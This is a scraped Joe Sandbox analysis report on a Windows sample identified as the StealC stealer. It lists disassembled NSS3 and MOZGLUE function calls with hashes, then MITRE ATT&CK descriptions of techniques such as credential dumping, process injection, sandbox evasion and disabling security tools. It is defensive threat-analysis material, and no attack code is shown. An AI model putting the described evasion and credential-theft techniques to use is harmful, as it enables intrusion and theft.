API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: d2e1c3932543f9953608b209682bdc70688fb092fa604c20171580d06abf24a8
Instruction ID: df3722e868567005003d25e4264277a2b8d9e87525dc52f1d257a9a30281a745
Opcode Fuzzy Hash: d2e1c3932543f9953608b209682bdc70688fb092fa604c20171580d06abf24a8
Instruction Fuzzy Hash: 37F0FCFD6012025BEB004F55DD90A37B778EF5529DB248135ED19ABB01E731D815C7E2

Function 6CF7CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF7CC61
free.MOZGLUE ref: 6CF7CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF7CC80
free.MOZGLUE(?), ref: 6CF7CC87

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 6f29458151c43462532e4c011c8b7416df536ff0379855485208e1630ebd8c75
Instruction ID: 79fbd2cfdd14b02af9782ae23c6e2951a41d82fbd4ecabeadb42212140780a67
Opcode Fuzzy Hash: 6f29458151c43462532e4c011c8b7416df536ff0379855485208e1630ebd8c75
Instruction Fuzzy Hash: 46E065767106089FCA10EFA8DC84C8B77BCEE492703154525E691D3700D331F905CBE5

Function 6CE59DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE59E1F

Part of subcall function 6CE113C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CDE2352,?,00000000,?,?), ref: 6CE11413
Part of subcall function 6CE113C0: memcpy.VCRUNTIME140(00000000,6CDE2352,00000002,?,?,?,?,6CDE2352,?,00000000,?,?), ref: 6CE114C0

Strings

ESCAPE expression must be a single character, xrefs: 6CE59F78
LIKE or GLOB pattern too complex, xrefs: 6CE5A006

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: bb12488a6a95098d299eb93c7216d39a7050df4f13c6ba8a1991e1cba777758d
Instruction ID: 6426b9334ea6e0709d84c6a1684ef47b1c5ff696b4557136edd54c641ea1e7e5
Opcode Fuzzy Hash: bb12488a6a95098d299eb93c7216d39a7050df4f13c6ba8a1991e1cba777758d
Instruction Fuzzy Hash: B581B3B0A042554BD700CE29C0813FAB7F2AF4631CFB88659D8A98BB95D737D857C7A1

Function 6CEB4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEB4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CEB4DE6

Strings

%d.%d, xrefs: 6CEB4DDE

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: c6a38c1414680cfd0e3ded937ea7d296a48609806c071811569eac277257648e
Instruction ID: fd90da0d9c268b123805c74f4af817725a9857e8dcc7933d39abb12cc6c98ae4
Opcode Fuzzy Hash: c6a38c1414680cfd0e3ded937ea7d296a48609806c071811569eac277257648e
Instruction Fuzzy Hash: 5831E8B2D002186BFB509BA49C01BFF7778EF41308F150469ED15AB781EB349A05CBA2

Function 6CED4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CED3827,?,00000000), ref: 6CED4D0A

Part of subcall function 6CEC0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CED4D22

Part of subcall function 6CEBFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE61A3E,00000048,00000054), ref: 6CEBFD56

Strings

'8l, xrefs: 6CED4D07

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: f2c2ff6e240825e542dabd6f85d175e8d33d07fcbfe07c086ada1073fa6b45b7
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: F3F068726011285BDB104E6A9D8074336FC9B5167DF360272DD2CCB781E631EC028692

Function 6CEFAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CEFAF78

Part of subcall function 6CE5ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE5ACE2
Part of subcall function 6CE5ACC0: malloc.MOZGLUE(00000001), ref: 6CE5ACEC
Part of subcall function 6CE5ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE5AD02
Part of subcall function 6CE5ACC0: TlsGetValue.KERNEL32 ref: 6CE5AD3C
Part of subcall function 6CE5ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE5AD8C
Part of subcall function 6CE5ACC0: PR_Unlock.NSS3 ref: 6CE5ADC0
Part of subcall function 6CE5ACC0: PR_Unlock.NSS3 ref: 6CE5AE8C
Part of subcall function 6CE5ACC0: free.MOZGLUE(?), ref: 6CE5AEAB

memcpy.VCRUNTIME140(6CFC3084,6CFC02AC,00000090), ref: 6CEFAF94

Strings

SSL, xrefs: 6CEFAF73

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 8c2ea54bd246189c032d471d8f81356a03da80661973bfd927cd042205269b48
Instruction ID: 0702cbf4f5e74cfedd58c304a706997da63e611a7084fc0f4dba04885afde329
Opcode Fuzzy Hash: 8c2ea54bd246189c032d471d8f81356a03da80661973bfd927cd042205269b48
Instruction Fuzzy Hash: FE215FB3FA5A889EDB90EF51A5033D77AB0B70278C7305019C1694BB28E371464E9FD6

Function 6CE6C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]l,6CE66499,-00000078,00000000,?,?,]l,?,6CE65DEF,?), ref: 6CE6C821

Part of subcall function 6CE61DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE61E0B
Part of subcall function 6CE61DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE61E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]l,?,6CE65DEF,?,?,?), ref: 6CE6C857

Strings

]l, xrefs: 6CE6C810

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]l
API String ID: 221937774-3662268921
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: c5055b188390f3c1491daf9c115f1f112d15fe5470e247554300b32f290e1f47
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: 23F0A773B5011477EF1169A7AC04AFA3669DF91299F240035FF08D6B41F72AD92583F1

Function 6CE50F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F1B

Part of subcall function 6CE51370: GetSystemInfo.KERNEL32(?,?,?,?,6CE50936,?,6CE50F20,6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000), ref: 6CE5138F

PR_NewLogModule.NSS3(clock,6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F25

Part of subcall function 6CE51110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE50936,00000001,00000040), ref: 6CE51130
Part of subcall function 6CE51110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE50936,00000001,00000040), ref: 6CE51142
Part of subcall function 6CE51110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE50936,00000001), ref: 6CE51167

Strings

clock, xrefs: 6CE50F20

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 4870289cb4150e48e9e832d9eac3775a78f538b62dd7a4c273fdbe8bc72e644f
Instruction ID: d07dc9f55e6b37b978a65c10f6a207759678f9f82c033e8a0d89df7b0abef173
Opcode Fuzzy Hash: 4870289cb4150e48e9e832d9eac3775a78f538b62dd7a4c273fdbe8bc72e644f
Instruction Fuzzy Hash: 54D02232B4020411C7402AE79C44B9BB6BCD7C3279F60186BE00803E00CA2744FAC265

Function 6CEC0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CEC0DF5
TlsGetValue.KERNEL32 ref: 6CEC0E2D
TlsGetValue.KERNEL32 ref: 6CEC0E58
TlsGetValue.KERNEL32 ref: 6CEC0E84

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 0c06f759d6e4cc3a073268769d74d7cfc02d7bd4e5cb4e3917890f8a14d556aa
Instruction ID: c7a56ee2bda05d1280e9feb3649809c7e4a3581f5ac7505663cd176d69d65a47
Opcode Fuzzy Hash: 0c06f759d6e4cc3a073268769d74d7cfc02d7bd4e5cb4e3917890f8a14d556aa
Instruction Fuzzy Hash: 503193F0B943958FDF406F78868436A7BB4BF0630CF21466DE8A887B11DB359095CB82

Function 6CEC0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE62AF5,?,?,?,?,?,6CE60A1B,00000000), ref: 6CEC0F1A
malloc.MOZGLUE(00000001), ref: 6CEC0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEC0F42
TlsGetValue.KERNEL32 ref: 6CEC0F5B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: f4ba46ee9f3b80a2667fe9f22253ae36143c4b58c471b54b9bb0a0be2f758b89
Instruction ID: 8c6f27df64cfbc23ce4cea88dc17995e3c49d31c948ce484c254ab54e454b0a5
Opcode Fuzzy Hash: f4ba46ee9f3b80a2667fe9f22253ae36143c4b58c471b54b9bb0a0be2f758b89
Instruction Fuzzy Hash: 3C01F9F1F102C05BE751273D9E456577A7CEF4225CF210126EC28C2A11D721C49585E3

Function 6CE71EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE71ECE
free.MOZGLUE(?), ref: 6CE71EDF
free.MOZGLUE(?), ref: 6CE71EEF
free.MOZGLUE(?), ref: 6CE71EF5

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: dc2720be4499bdd6234669ff31dbe9ac6388c8e4664403d6338a6936d091c534
Instruction ID: f5158b19da0045beac2dbbfe179828b337f0f79c7035ff7b8862bcde806f6c08
Opcode Fuzzy Hash: dc2720be4499bdd6234669ff31dbe9ac6388c8e4664403d6338a6936d091c534
Instruction Fuzzy Hash: 6FF0B4B17006016BEB109BA5DC95E27737CEF45198B140434EC0DD3A00E725F414C6B5

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

